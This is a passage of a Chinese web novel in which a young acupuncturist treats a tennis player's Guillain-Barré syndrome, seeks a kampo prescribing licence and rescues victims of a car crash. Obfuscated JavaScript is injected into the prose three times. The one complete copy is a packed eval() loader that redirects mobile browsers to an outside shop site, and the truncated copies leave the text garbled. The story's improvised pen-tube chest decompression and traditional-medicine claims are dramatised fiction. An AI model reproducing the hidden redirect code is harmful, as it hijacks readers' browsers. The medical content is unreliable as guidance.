走在前面的少年,有着一头微卷的鸢尾蓝色短发,面容精致秀丽得近乎炫目,即使穿着普通的运动外套,也难掩其独特的气质。 只是他的脸色略显苍白,唇色偏淡,身形比同龄人单薄,行走时步伐很稳,但能看出带着一种刻意控制、节省体力的意味。 他的眼神温和沉静,深处却仿佛蕴藏着一片深不见底的大海,带着历经风暴后的平静,以及一丝对未来的审慎期待。 幸村精市。 即便在病中,这位“神之子”依然有着令人过目不忘的存在感。 他左侧是面色冷峻、身姿挺拔如松的真田弦一郎,此刻正紧绷着脸,目光锐利地扫过诊室,最后落在江起身上,带着审视和不易接近的威严。 右侧则是柳莲二,依旧是那副冷静无波的表情,淡紫色的眼眸平静地看向江起,微微颔首。 “幸村君,真田君,柳君,你们好,我是江起,请坐。”江起起身,语气平和专业,示意他们在诊疗床边的椅子坐下。 “江医生,您好,我是幸村精市,今天麻烦您了。”幸村精市微笑着开口,声音温和。 “江医生,我是真田弦一郎。” “柳莲二。” 简单的自我介绍后,江起没有立刻切入病情,而是先询问了幸村今天的身体状况,是否方便进行一些简单的检查和评估。 在得到肯定答复后,他开始了正式的评估流程。 首先是详细的问诊。 江起的问题细致而富有层次,不仅关注麻木、无力、疲劳等主要症状的程度、变化和诱因,还问及睡眠、食欲、二便、情绪、怕冷怕热等全身情况。 他特别询问了发病前后有无特殊事件(感染、压力、外伤等),以及目前康复训练的具体内容和身体反应。 幸村精市回答得很认真,用词精准,柳莲二偶尔补充一些他观察到的细节和数据(如某次训练后疲劳恢复时间),真田则沉默地听着,但紧握的拳头显示他内心的不平静。 接着是详细的体格检查。 江起让幸村脱去鞋袜和外衣,仔细检查了他的四肢肌力、肌张力、深浅感觉、腱反射,并评估了他的平衡能力、步态和精细动作(如用手指快速对指、用脚趾夹取物品)。 在检查过程中,当他凝神接触幸村的皮肤和肌肉时,那种“感知”能力再次被触发。 他不仅能触摸到肌肉的萎缩和力量的减弱,更能隐约“感觉”到一种弥漫性、并非源于单一病灶的“虚弱”与“阻滞”感,仿佛有某种无形、粘稠的东西覆盖在神经与肌肉的通路上,阻碍了气血和神经信号的顺畅传导。 这种感觉,与手冢国光那种局部、明确的“堵塞”和“炎症”截然不同,更弥漫,更深层,也似乎与整个机体的“状态”息息相关。 检查完毕,江起示意幸村可以穿好衣服。诊室里很安静,只有窗外的雨声淅淅沥沥。 “幸村君,根据你提供的资料和我刚才的检查,”江起缓缓开口,语气沉稳,“你的情况,西医诊断为格林巴利综合征,目前处于恢复期平台阶段,这个判断是明确的。从传统医学的角度看,你的病症可归属于‘痿证’范畴,核心病机在于大病之后,气血亏虚,肝肾不足,经络瘀滞,肌肉筋脉失于濡养。” 他拿起笔,在准备好的纸上画了几个简单的示意图,将现代医学的“神经脱髓鞘”、“免疫异常”与传统医学的“气血”、“经络”、“肝肾”概念尝试性地联系起来解释。 虽然理论体系不同,但江起力求用易懂的语言,说明两者在描述“神经肌肉功能失调”这一核心问题上,有可以对话和互补的空间。 “目前西医的康复治疗,主要是营养神经、功能锻炼,方向是正确的。但进入平台期,说明身体自身的修复能力遇到了瓶颈,或者残留的病理因素(如免疫紊乱、微循环障碍、神经内环境不佳)仍在持续产生负面影响。” 江起看向幸村,目光坦诚,“在这种情况下,传统医学的介入,目标不是替代,而是‘助攻’,我们试图从另一个角度切入,做一些可能西医常规手段顾及不到,或者力度不够的‘微调’和‘增强’。” “具体来说呢?”柳莲二问,这是他进来后第一次主动提问。 “基于目前的评估,如果尝试介入,我的初步思路会集中在以下几个方面,” 江起不疾不徐地说,“第一,益气养血,固本培元。通过针灸和可能的中药,重点调理脾胃(气血生化之源)和肝肾(主骨生髓,肝主筋),提升身体整体的能量水平和修复潜力,这是基础。 第二,疏通经络,化瘀通络。针对你感觉到的四肢麻木、乏力、活动涩滞,选取特定穴位,采用特殊手法,目的是改善神经和肌肉周围的微循环,清除代谢废物,为神经修复创造更好的局部环境。 第三,调节阴阳,安神定志。久病耗神,情绪和睡眠对免疫和修复影响巨大,通过针灸调节植物神经,帮助改善睡眠质量,稳定情绪,间接促进康复。” 他停顿了一下,语气更加慎重:“但必须明确,这是一个需要耐心和坚持的过程,针灸和中药的作用相对温和、缓慢,旨在调动你身体自身的潜能,循序渐进地改善。 它无法让萎缩的肌肉一夜之间恢复力量,也无法让损伤的神经瞬间愈合,它可能带来的改善是细微的、累积的——比如疲劳感的减轻,睡眠更深,某个手指的麻木范围缩小一点点,或者完成某个康复动作时感觉更轻松一点。 这些细微的变化,如果持续发生,最终可能帮助你突破目前的平台期。 但同样,也可能效果不显,而且,整个过程需要你绝对的配合,包括饮食、作息、情绪管理,以及坚持必要的现代康复训练。” 江起说完,将目光投向幸村精市:“所以,幸村君,这不是一个能立刻给出承诺的治疗,这是一次需要你我共同探索、携手尝试的旅程。 过程中,我会与你的主治医生保持沟通,确保任何措施都不会与你现有的治疗方案冲突,你是否愿意,在充分了解这些不确定性的前提下,进行这样一次尝试?” 诊室里再次安静下来,真田弦一郎眉头紧锁,似乎在消化江起的话。 柳莲二的目光则在江起和幸村之间移动,淡紫色的眼眸中数据流般的光芒微微闪烁,似乎在重新计算评估概率。 幸村精市安静地坐着,鸢蓝色的眼眸看着江起,那里面没有了最初隐藏的审慎,取而代之的是一种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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幸村的经络对针刺的反应比预想的要敏感,得气感明显,但气感传导的距离和力量,确实能感觉到一种“虚弱”和“不畅”。 留针期间,江起又与柳莲二和真田交流了一些日常护理和观察要点,并约定好下一次治疗时间,以及需要与幸村主治医生沟通的事项。 第一次评估与治疗在专业、坦诚的氛围中结束。 送走立海大三人,江起站在诊室窗边,看着窗外依旧未停的雨。 幸村精市的病,无疑是一个巨大的挑战,但少年眼中那簇未曾熄灭的火苗,和他清晰冷静的认知,让江起觉得,这次尝试,或许真的有意义。 手机在口袋里震动。是松田阵平发来的照片——一张ICU病房窗外的天空,已经放晴,露出一角湛蓝。附言:【醒了,能骂人了,让你别担心。】 江起看着照片,嘴角微微扬起。至少,有些努力,是立刻能看到回报的。 他收拾好东西,准备离开诊所。 走到一楼大厅时,透过玻璃门,他忽然瞥见街对面便利店的屋檐下,似乎站着一个穿着灰色连帽衫的身影,面朝诊所的方向。 那身影有些眼熟。 江起脚步一顿,凝目看去。 但就在这时,一辆公交车驶过,挡住了视线。 等公交车离开,便利店屋檐下已经空无一人,只有雨丝飘洒。 是错觉?还是…… 江起微微皱眉,想起了第一章爆炸案后,那个在人群中一闪而过的灰衣人,是同一个吗?还是只是巧合? 他没有过多停留,撑开伞,走入了淅淅沥沥的秋雨中。 20.第 20 章 幸村精市的治疗进入第四周。 周三下午,1号诊室内,江起拔下最后一根针,示意幸村可以慢慢坐起。 幸村精市的脸色比初见时似乎有了一丝极淡的血色,鸢蓝色的眼眸也清亮了些。但他活动着手腕和脚踝时,眉头依然微微蹙着。 “感觉如何?”江起问,递过一杯温水。 “谢谢江医生。”幸村接过水,浅啜一口,声音温和但带着一丝不易察觉的疲惫,“针灸时的温热感和酸胀感,比之前更明显了,起针后,那种深层的疲惫感似乎也轻了一点点,晚上睡得确实安稳了一些,但是……” 他顿了顿,看向自己修长却依旧乏力的手指:“手指的麻木感范围缩小了,但指尖的触觉还是迟钝,尝试做很轻的握力练习时,手臂的沉重感和无力感,减轻得……很慢,比前两周的速度,似乎更慢了。” 江起认真地听着,点了点头。 情况和他预判的差不多,经过初期针灸对气血的初步疏导和安神定志,幸村的身体状态得到了一定改善,睡眠、精力这些“整体”指标有了积极变化,但涉及到核心的神经肌肉功能恢复,尤其是那些细微的感觉和力量,进展已经开始明显放缓,进入了平台期。 “这是恢复过程中的常见阶段。”江起语气平稳地解释,“你的身体在经过大病和前期治疗后,本身具备一定的修复潜能,初期的针灸,像是推了一把,帮助疏通了最表浅的瘀滞,调动了部分气血,所以你会感觉到一些改善,但现在,修复遇到了更深层的障碍——可能是经络更深处的瘀阻,可能是某些关键脏腑(如肝、肾、脾)的气血生化能力仍不足,也可能是残留的免疫紊乱或神经内环境问题尚未完全平复,单靠目前的针灸刺激,强度已经不够了。” 他说着,脑海中却不由自主地浮现出系统知识库中,那些针对“痿证”的经典方剂:益气养血的补阳还五汤,滋补肝肾、强筋健骨的虎潜丸,健脾益气、舒筋活络的圣愈汤加减……无数精妙的药物配伍、剂量拿捏、随证加减的思路清晰无比,甚至包括一些在现代已很少应用、但对调节特定体质或深层次瘀阻有奇效的冷僻药材和炮制方法。 他知道,如果此时能根据幸村的具体脉象、舌苔、症状细微变化,佐以合适的汉方药内服,配合针灸外治,针药并用,内外合治,完全有可能打破这个平台期,让恢复速度重新提升,甚至达到意想不到的效果。 但……他不能,他只是一个针灸师,开药是医师的权限。 一种能力被束缚的焦躁感,第一次如此清晰地涌上江起心头,他拥有能解决问题的钥匙,却被一扇名为“资格”的铁门挡在外面。 “江医生?”幸村敏锐地察觉到了江起瞬间的沉默。 “没什么。”江起收敛心神,沉吟道,“针对目前的情况,我们可以尝试调整一下针灸的穴位配伍,增加一些对深层经络和特定脏腑的刺激强度,另外,你平时的饮食和康复训练细节,我们可能需要和柳君再仔细核对一下,做一些微调,突破平台期需要耐心,也需要多管齐下。” “我明白,辛苦您了。”幸村微微一笑,那笑容依旧沉静,但江起能看出里面深藏的不甘和执着。 送走幸村,江起在诊室里静静坐了一会儿。手指无意识地敲击着桌面。 他知道,不只是幸村,手冢国光的肩伤恢复进入中后期,也需要更强力的内部调理来巩固疗效、防止复发;那位佐藤管理官心梗术后,更需要精心的药物调理来保护心功能、改善预后……很多病例,都卡在了“只差一味药”的关口。 他起身,走向石田一郎的办公室。有些话,必须说了。 “石田先生。”江起在办公桌前坐下,开门见山,“关于幸村君,以及以后可能遇到的一些类似复杂病例,我认为目前的治疗手段存在局限。” 石田一郎从病历中抬起头,金丝眼镜后的目光平静:“说下去。” “针灸擅长疏通、引导、调节,对于功能性障碍和浅层问题效果显著,但对于大病后气血精髓的严重亏虚,对于沉疴痼疾导致的深层瘀阻和脏腑失调,单凭针刺,犹如以勺舀海,见效缓慢,且后劲不足。”江起语速平稳,但语气坚定,“中医讲究‘针药并用’,药可内达脏腑,补虚泻实,力量更强,作用更持久,若能根据患者具体情况,辅以恰当的汉方药调理,与针灸形成内外呼应,很多现在进展缓慢甚至停滞的问题,都有望取得突破性进展。” 石田一郎静静地听着,手指交叉放在桌上,没有打断。 “但我没有开具汉方药的资格。”江起直视着石田一郎,“这不仅限制了治疗效果,在某些情况下,也可能延误病情,我知道日本的法规严格,但我认为,以我目前展现出的专业能力和对患者负责的态度,或许……存在获得某种有限制、在严格监督下使用汉方药资格的可能性?至少,我认为应该尝试争取一下,为了诊所,也为了信任我们的患者。” 办公室内安静了片刻,窗外的光线在石田一郎严谨的银发上流淌。 “江君,”石田一郎缓缓开口,声音低沉,“你知道你在要求什么吗?‘汉方药调剂与使用许可’,哪怕是最低限度的‘指导师’资格,通常也只授予在汉方领域浸淫数十年、且有医师或药剂师背景的人,你太年轻了,而且你的根基是针灸。” “我知道这很难。”江起坦然道,“但我的‘家学’,在药物方剂方面的传承,并不弱于针灸。只是此前没有机会,也没有资格展现,如果因为年龄和资历就将一种可能有效的治疗方法拒之门外,对那些饱受病痛折磨、将希望寄托于此的患者,是否公平?” 石田一郎看着他,目光锐利,仿佛要穿透他的表象,看到更深层的东西。 良久,他几不可查地叹了口气,又似乎带着一丝欣慰。 “你成长得很快,江君,不仅医术,还有担当。”他站起身,走到窗边,背对着江起,“这件事,我其实考虑过,你的能力,确实不该被一纸资格束缚,但兹事体大,不是我一个人能决定的。” 他转过身,目光深邃:“不过,契机倒是有一些,你这次救下佐藤管理官,在警视厅内部,尤其是搜查一课和目暮警部那里,积累了相当分量的‘人情’和信任,一位在职管理官的性命,这份量不轻,如果由目暮警部,甚至更高层面,以警方名义出具正式的证明和推荐,强调你在危急情况下展现出,超越常规的医学判断和处置能力,这会是一块很有分量的敲门砖。” 江起认真听着,警方的支持,确实至关重要。 “另外,”石田一郎走回座位,拉开抽屉,取出一份文件,“柳莲二那孩子,以立海大附属中学网球部及幸村精市家属委托的名义,向相关的协会和部门提交了一份详尽的说明和请求,内容是关于幸村君的病情、当前治疗瓶颈,以及主治医生团队对‘引入高水平汉方医学辅助治疗’的初步评估和期待,函中虽然没有直接点你的名,但明确提到了‘当前负责针灸调理的医师具备深厚的汉方理论素养’。柳家在医学界,特别是关东地区,是有一定影响力的,这份文件,能说明‘市场需求’和‘专业认可’。” 江起微微吃惊,他没想到,柳莲二的动作,比他想象的还要快,还要周密,这已经不止是“数据支持”,而是真正的“铺路”了。 “还有……”石田一郎停顿了一下,似乎在斟酌措辞,“我在这行几十年,多少还有些老朋友、老关系,在厚生劳动省、汉方医药协会,甚至一些大学的研究部门,都认识些人,有些人,对你的情况……嗯,有所耳闻,也表现出一定的兴趣。” 他没有明说“有些人”是谁,但江起能听出,石田一郎动用了自己深藏的人脉网络。“综合这些因素,推动一次特例评审,并非完全没有可能。” “但是,”石田一郎的语气骤然加重,目光如炬,“机会,只给有准备、且真正有实力的人,如果我真的去推动,你将面对的,可能是这个国家汉方医学界最顶尖、也最严苛的一批专家的联合评审,他们不会看你的年龄,也不会在乎你救过谁,他们只会用最专业、最刁钻的问题,来检验你肚子里的真才实学。你要证明的,不是你是个好针灸师,而是你在汉方药学上的造诣,足以打破常规,破格获得资格。这比针灸师考试,要难上十倍、百倍,你,敢应战吗?” 江起迎着石田一郎审视的目光,没有丝毫犹豫,系统的知识,自身的努力,以及这段时间积累的经验和信心,在此刻凝聚成一股沉静的力量,那些深藏在脑海中的千古名方、用药心法,仿佛在微微发光。 “敢。”他只说了一个字,清晰而坚定。 “好!”石田一郎脸上露出难得的笑容,那笑容中带着期待,也有一丝挑战的意味,“那就准备吧, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“你对药性的把握,对剂量的敏感,还有方剂组合的巧思……完全不像个初学者,倒像是个浸淫此道数十年的老手。”石田一郎某次看着江起为一位失眠患者调整的酸枣仁汤加减方,感慨道,“你祖父……当真了不得。” 江起只能含糊应对,将功劳推给“家学渊源”和“自己比较喜欢琢磨”,但石田一郎眼中的探究之色,却更深了。 在这样高强度的准备中,时间飞快流逝。 江起明显感觉到,自己对汉方医学的理解,正在以一种惊人的速度深化、系统化。那些经典方剂不再是死板的条文,而是变成了可以随意拆解、组合的武器,他甚至在思考,如何将一些现代药理学的研究发现,巧妙地融入到古方的运用思路中。 傍晚,江起因为查阅一份古籍资料,离开诊所比平时稍晚,天空飘着细碎的雨夹雪,街道湿冷。 他撑着伞,快步走向车站。 在经过一个十字路口等红灯时,那种熟悉、被注视的感觉再次袭来,比以往任何一次都要强烈和……靠近。 他猛地转头,看向感觉来处的斜后方。 一个穿着深灰色连帽衫、戴着口罩的身影,正站在街对面一家已经打烊的店铺屋檐下,静静地望着他。 两人的目光隔着雨幕和街道,短暂地交汇。 是那个人!第一章爆炸案后的灰衣人!便利店门口疑似出现过的身影! 江起的心脏猛地一跳。 对方似乎也没料到他会突然回头,对视的瞬间,那人明显顿了一下,随即立刻低下头,转身,快步走入旁边的小巷,消失在昏暗的光线中。 江起没有追。 他站在原地,握着伞柄的手微微收紧。雨水打在伞面上,发出细密的声响。 这一次,绝不是错觉。 对方在观察他,而且已经跟了不止一次。是 谁?警察安排的暗中保护?松田他们没提过。是柳莲二那边的人?不像,还是……其他什么人? 灰衣人最后那个眼神,虽然隔得远,但江起隐约捕捉到一丝复杂的情绪,不仅仅是观察,似乎还有些别的……疑惑?探究? 冰冷的寒意顺着脊椎爬上。 他想起石田一郎的警告,想起自己越来越显眼的名声,有些目光,果然不仅仅是善意的关注。 绿灯亮了。 江起深吸一口冰冷的空气,迈步走过马路,他没有回头,但全身的感官都提升到了极致。 他抬头看了看灰蒙蒙、飘着雨雪的东京夜空。 雪粒落在脸上,迅速融化,留下一丝冰凉。 江起加快了脚步,身影很快没入车站拥挤的人流。 而在他刚刚站立过的街角阴影里,仿佛有什么更沉黯的东西,悄无声息地蠕动着,与这座城市的夜色融为一体。 21.第 21 章 评审资格的事,如同投入湖面的石子,在几方人马的推动下漾开涟漪,但湖面之下,却是暗流汹涌的角力。 石田一郎的申请连同目暮警部的强力推荐信、柳家出具的正式情况说明,一并递交到了厚生劳动省下属的医药事务科,和汉方医药协会特别委员会。 流程启动了,但反对和质疑的声音,比预想的更早、也更猛烈地袭来。 首先发难的是一位在协会内资历颇深,以严守规范和学术正统著称的老教授,姓小泉。 他在一次非正式的内部讨论中,毫不客气地指出:“一个二十岁出头的留学生,学的是现代医学,靠着不知所谓的‘家学’和几次偶然的成功急救,就想打破行规,获得汉方药应用资格?简直是儿戏!汉方医学是深奥的学问,需要数十年的临床浸润和经典熏陶,不是会扎几针、背几个方子就能滥竽充数的!这要是开了口子,以后岂不是什么阿猫阿狗都能来开药?患者的安危谁来保证?” 小泉教授的质疑代表了一批保守派的声音,他们认为江起太年轻,没有系统性的汉方教育背景,所谓的“家学”无从考证,之前的成功案例(急救)更多体现的是应急能力和现代医学素养,与需要深厚理论支撑,和丰富经验的汉方用药是两码事,他们担心破格授予资格会拉低行业标准,甚至引发不良效仿。 支持的一方,以石田一郎和几位与他交好、更看重实际能力且了解部分内情(如救治佐藤管理官的细节)的委员为主,则据理力争。 他们强调江起在针灸上展现出的、超越年龄的精深造诣,本身就证明了其传统医学底蕴;他处理复杂病例(手冢、幸村)的思路清晰严谨,并非莽撞之徒;警方的背书和患者方的强烈请求也说明了现实需求和社会认可。 他们认为,应该给真正有才华的年轻人,一个通过严格考核来证明自己的机会,而不是用资历一棍子打死。 双方在会议桌上、电话里、乃至私下交流中,各执一词,争论不休。 流程虽然启动,但关于是否真的为江起举行“特例评审”,评审的规格和标准如何设定,陷入了僵局。 小泉教授甚至放话,除非江起能拿出“颠覆性”的汉方医学见解,或有无法辩驳,处理复杂汉方适应症的“硬核”案例,否则他绝不会投赞成票。 时间一天天过去,僵局依旧。 江起依旧每天往返于学校、诊所和公寓,沉浸在古籍和药草的世界里,但偶尔从石田一郎微蹙的眉头和更加简短的交谈中,他能感觉到事情的胶着。 不过他并不十分焦躁,反而更加沉下心来打磨自己。 然而,打破僵局的,并非又一场学术辩论,而是一场突如其来的‘意外’。 周五的深夜,暴雨如注。 罕见的强对流天气袭击了东京都,狂风卷着豆大的雨点砸在城市每一个角落,能见度极低。 江起因为整理一批新到的药材资料,离开诊所时已近晚上十一点,石田一郎原本让他留宿,但江起想着明天一早还有实验课,便婉拒了。 他撑着伞,顶着狂风暴雨,艰难地走向地铁站。 街道上空无一人,只有肆虐的风雨声和远处隐约的雷鸣。 路过一处高架桥匝道口时,一阵极其刺耳混合了金属扭曲、玻璃爆裂和轮胎摩擦地面的巨响,压过了风雨声,从高架桥上方传来。 紧接着,是重物坠落的沉闷轰响,仿佛就在不远处。 江起心头猛地一跳,一种不祥的预感攥紧了他,他立刻朝声音传来的方向跑去,绕过匝道护栏,眼前的景象让他倒吸一口凉气。 高架桥上,一辆黑色的大型豪华轿车车头严重变形,撞断了桥边的护栏,半个车身危险地悬在桥外,摇摇欲坠。 更可怕的是,桥下方不远处的辅路上,一辆显然是躲避不及的银色家用轿车被从桥上坠落的部分车身残骸和护栏砸中,几乎被压扁,车窗全部碎裂,车体扭曲成了可怕的形状。 雨水混合着泄漏的汽油、玻璃渣和难以辨明的液体,在地面上肆意横流。 两辆车,桥上桥下,死寂一片,只有哗哗的雨声、车辆漏液的滴答声,以及……隐约极其微弱的呻吟声? 车祸!重大车祸,而且看样子刚刚发生。 江起的大脑在瞬间高速运转,他首先掏出手机,用最快的手速拨通了119,语速清晰到近乎冷酷地报出了准确地点、事故严重性、以及自己正在现场准备施救。 挂断电话后,他毫不犹豫地冲向了那辆受损更严重,看起来也更危急的银色轿车。 在他冲向现场的瞬间,视野中,刺目、层层叠叠的红色警示如同爆炸般涌现! 【银色轿车:驾驶座,成年男性,重度颅脑损伤伴活动性出血,左侧张力性气胸,多发肋骨骨折,生命体征急速衰竭!】 【银色轿车:后座,儿童(约5-7岁),意识丧失,疑似颈椎损伤,内脏出血可能!】 【黑色轿车:后座,老年男性,重伤,意识模糊,血压骤降,疑似内出血(脾?),冠状动脉问题?生命体征不稳定。】 【黑色轿车:前座,司机及保镖?一死一重伤。】 【环境风险:燃油泄漏、电路短路火花风险。】 信息量巨大,但江起此刻异常冷静,系统提供的不仅是诊断,更是优先级。 现场只有他一个人,他必须做出最残酷也是最正确的选择,先救存活希望最大、且能最快处理稳定伤势的人。 银色轿车里的儿童颈椎损伤风险高,不能轻易移动。 驾驶座的男性张力性气胸必须立刻处理,否则几分钟内就会要命,黑色轿车里的老人内出血,需要专业设备和手术,他现场能做的有限。 “救命……孩子……救孩子……”银色轿车驾驶座,满脸是血的男人似乎还有一丝意识,艰难地吐出几个字,手指无力地指向后座。 “坚持住!我是医生!救护车马上到!”江起朝他吼道,同时已经扑到副驾驶一侧,车门扭曲变形,无法正常打开,他捡起地上一块尖锐的金属残片,用尽全力猛砸车窗边缘,几下之后,玻璃碎裂,他小心地清理掉碎玻璃,探身进去。 男人脸色紫绀,呼吸极度困难,颈静脉怒张,张力性气胸的典型表现。 江起的目光瞬间扫过车内,没有无菌器械,但有一支掉落在车内,看起来崭新的金属圆珠笔。 来不及任何消毒了。 他一把抓起圆珠笔,迅速拧掉笔头和笔尾,露出中空的笔管。 凭借对胸部解剖的深刻记忆,和系统标注的精确位置,他找准男人左侧锁骨中线第二肋间,毫不犹豫地将笔管尖锐的一端狠狠刺入。 “嗤——!” 一股强劲的气流带着血沫从笔管中冲出,男人紫绀的脸色以肉眼可见的速度缓解了一些,虽然依旧痛苦,但呼吸似乎顺畅了一点点。 江起迅速固定好笔管,避免其移位或堵塞。 接着,他快速检查后座的儿童。 孩子昏迷,但脉搏和呼吸还有,他小心翼翼地用车上找到的一条围巾,初步固定了孩子的头颈,避免任何不必要的晃动。 “坚持住!你的气胸我暂时处理了,不要乱动!孩子情况暂时稳定,等救援!” 他对驾驶座的男人快速说完,转身冲向那辆黑色轿车。 黑色轿车的情况同样糟糕。 司机当场死亡,副驾驶的保镖重伤昏迷。 江起直奔后座。一位穿着考究,银发梳理得一丝不苟,但此刻面色如纸,气息微弱的老人歪倒在座椅上,雨水混合着血水从他嘴角渗出。 老人身边,还瘫坐着一位穿着和服,同样昏迷不醒、额头有伤的老妇人。 视野提示老人的内出血和心血管问题极其危急。 江起迅速检查,老人脉搏快而弱,血压低得可怕,他立刻将老人放平,抬高下肢。 没有止血带,他解下自己的皮带,在老人腹部上方施加适度压力,希望能稍微减缓出血速度。 同时,他持续监测老人的脉搏和呼吸。 “坚持住……救援马上就到……”他对着意识模糊的老人低语,手中不停,又快速检查了老妇人的情况,主要是头部外伤和可能的手臂骨折,暂时没有生命危险,但也需要固定。 做完这些最基本的现场处置,不过才过去了几分钟。 但每一秒都像一年那么漫长。 狂风暴雨中,江起浑身湿透,手上、衣服上沾满了血污和泥水,但他仿佛感觉不到,全部的注意力都集中在三个重伤员的体征上,随时准备应对突发情况。 终于,远处传来了由远及近,撕破夜空的救护车、消防车和警车 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16919030|191987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的密集警笛声。 红蓝光芒闪烁,迅速包围了现场。 第一批冲下来的急救人员,和消防员看到眼前的惨状,和唯一一个正在施救、浑身湿透血污的年轻人,都愣了一下。 “我是东大医学部学生江起,现场初步处置:银色轿车驾驶座张力性气胸已用简易穿刺笔管减压,后座儿童疑似颈椎损伤已用围巾固定; 黑色轿车后座老年男性疑似严重内出血伴休克,已平卧抬高下肢,腹部加压,另有一老妇人头部外伤手臂骨折; 黑色轿车前座一人死亡一人重伤,注意燃油泄漏!” 江起用最快、最清晰的声音,向冲过来的急救队长交接了所有关键信息。 急救队长是个经验丰富的中年人,只看了一眼江起做的处置和现场情况,眼神就变了,那是一种对同行专业和冷静的认可。 “明白了!交给我们!你受伤了吗?” “我没事!” 江起退开,让专业的救援人员接手。 消防员迅速处理泄漏的燃油,破拆车辆,急救人员熟练地将伤员转移,进一步处理、送上救护车。 整个过程高效而紧张。 江起站在雨中,看着一辆辆救护车呼啸着将伤员送往不同的医院,这才感觉到刺骨的寒冷和疲惫袭来,身体微微发抖,肾上腺素的效果开始消退。 “这位……同学?” 一个穿着警服、看起来像是负责现场指挥的警官走了过来,表情严肃中带着一丝难以置信的敬意,“非常感谢你的现场处置!我是警视厅交通课的坂本。能告诉我你的全名和联系方式吗?后续可能需要你配合做详细的事故说明,还有……你的急救行为,很可能会被作为见义勇为和紧急医疗处置的典范。” “你好,我叫江起,联系方式是……” 江起报上了自己的信息,他此刻只想回去洗个热水澡,但知道这是必要的程序。 “江起君……等等,你是不是……之前在杯户购物广场那边,也协助过□□处理?” 坂本警官忽然想起什么,问道。 江起点点头。 “原来是你!” 坂本警官看他的眼神彻底不同了,“我听过你的名字,今晚……你又救了好几个人,真的,非常感谢。” 就在这时,一个穿着黑色西装,浑身散发着精干气息,表情异常凝重的男子,在几名警察的陪同下匆匆走来。 他没有理会坂本,目光锐利地扫过现场,最后落在正在被抬上另一辆救护车、那位银发老人身上,眼神中闪过一丝焦虑,但很快被压制下去,他低声和旁边一位警衔更高的警官快速交谈了几句,然后,他的目光转向了浑身湿透狼狈的江起。 他走到江起面前,微微鞠躬,姿态恭敬但语气带着一种不容置疑的威压:“这位先生,我是宫内厅的杉本,今晚的事故,非常感谢您第一时间伸出援手。 关于您救治的那位老先生……他的身份非常特殊,您的处置,为他赢得了至关重要的时间。 我谨代表……家属,向您致以最深的谢意,后续可能会有专人拜访,再次致谢,今晚,请您务必保重身体。” 他说完,又深深鞠了一躬,然后迅速转身,跟上了运送老人的救护车。 宫内厅?江起心中一震,他救治的那位老人……身份果然非同小可。 坂本警官在旁边也听到了,倒吸一口凉气,看向江起的眼神已经不止是敬佩,简直像是在看一个行走的传奇。“江、江起君……你今晚救的……” 江起摆摆手,示意他不必多说,他现在很累,头也开始隐隐作痛,雨似乎小了一些,但寒意更甚。 “坂本警官,如果没什么其他事,我可以先回去了吗?有点冷。” 江起声音有些沙哑。 “当然!当然!你快回去休息,有需要我们会联系你!这边有车,送你回去!” 坂本警官连忙说道。 江起没有拒绝。 坐上警车,离开一片狼藉、灯光闪烁的现场,他靠在椅背上,闭上眼睛。 脑海中,那惊心动魄的几分钟,血色、雨声、警报、以及系统冰冷的提示,还有那位宫内厅官员凝重而恭敬的脸,交织在一起。 他不知道,今晚之后,事情恐怕真的要起变化了,不仅仅是汉方资格的问题。 不过他现在完全顾不上,进入公寓后,连喝了好几杯热水,试图驱散昨夜淋雨后的寒意。 22.第 22 章 第二天,周六,关于这起恶劣天气下的严重连环车祸,以及其中涉及的神秘重要人物的消息,虽然被官方刻意低调处理,没有在普通媒体上大肆渲染,但在某些特定的圈层里,却如同投入深水炸弹,激起了滔天巨浪。 警视厅高层、厚生劳动省相关官员、汉方医药协会的委员们、甚至更高层级的人物,都在第一时间收到了详尽的报告。 报告里,那个在第一时间出现在现场、用一支圆珠笔实施张力性气胸穿刺减压、精准判断伤情、为至少两名重伤员争取到宝贵生机、冷静专业到令人咋舌的“东大医学部学生江起”的名字,被反复提及,加粗标注。 那位在评审资格问题上态度最强硬的小泉教授,在接到一位受雇与宫内厅老友的电话,听对方用无比郑重的语气描述了“那位被一个叫他从生死线上拉回来了,处置手法堪称教科书级别,连我都不一定做得到”之后,拿着电话,沉默了足足一分钟。 他回想起自己之前“需要颠覆性见解或硬核案例”的言论。 还有什么“案例”,能比在暴雨夜、孤立无援的情况下,临危不乱,用最简陋的工具,成功处置包括张力性气胸、多发伤、内出血休克在内的多重危重情况,并且救治对象身份如此特殊,更“硬核”? 更能证明一个医者不仅仅是理论知识,更是拥有在极端环境下,运用一切可能手段,包括非传统的、需要极强胆识和精准判断的急救思维,拯救生命的实战能力和大心脏? 这种能力,难道不正是顶尖医者,无论中西医,都应该具备的核心素质吗?一个拥有如此素质的年轻人,在汉方药学上若真有造诣,其价值…… 小泉教授放下电话,走到书桌前,摊开那份关于江起特例评审的争议文件,拿起笔,沉思良久,最终,在原本空白的“初步意见”栏,缓缓写下了两个字:“可议。” 石田一郎在诊所接到多个来自不同方面的电话,有询问的,有确认的,更有暗示的。 最后,他接到了汉方医药协会特别委员会事务局的正式通知:“关于江起君汉方药应用特例评审的申请,经委员会紧急磋商,已获原则性通过,具体评审时间和方案,将于下周一前正式确定并通知,请转告江起君,做好准备。” 与此同时,警视厅总监办公室,也收到了一份来自更高层级,措辞温和但意图明确的“建议”:对于像江起这样多次在危急关头展现出非凡勇气和专业素养、为社会做出突出贡献的优秀人才,相关部门应当给予充分的关注和支持,为其发挥所长创造更有利的条件。 放下电话,石田一郎走到窗边,看着窗外雨后初晴的东京,他知道,僵局已被一股无可抗拒的力量,以最意想不到的方式,悍然打破了。 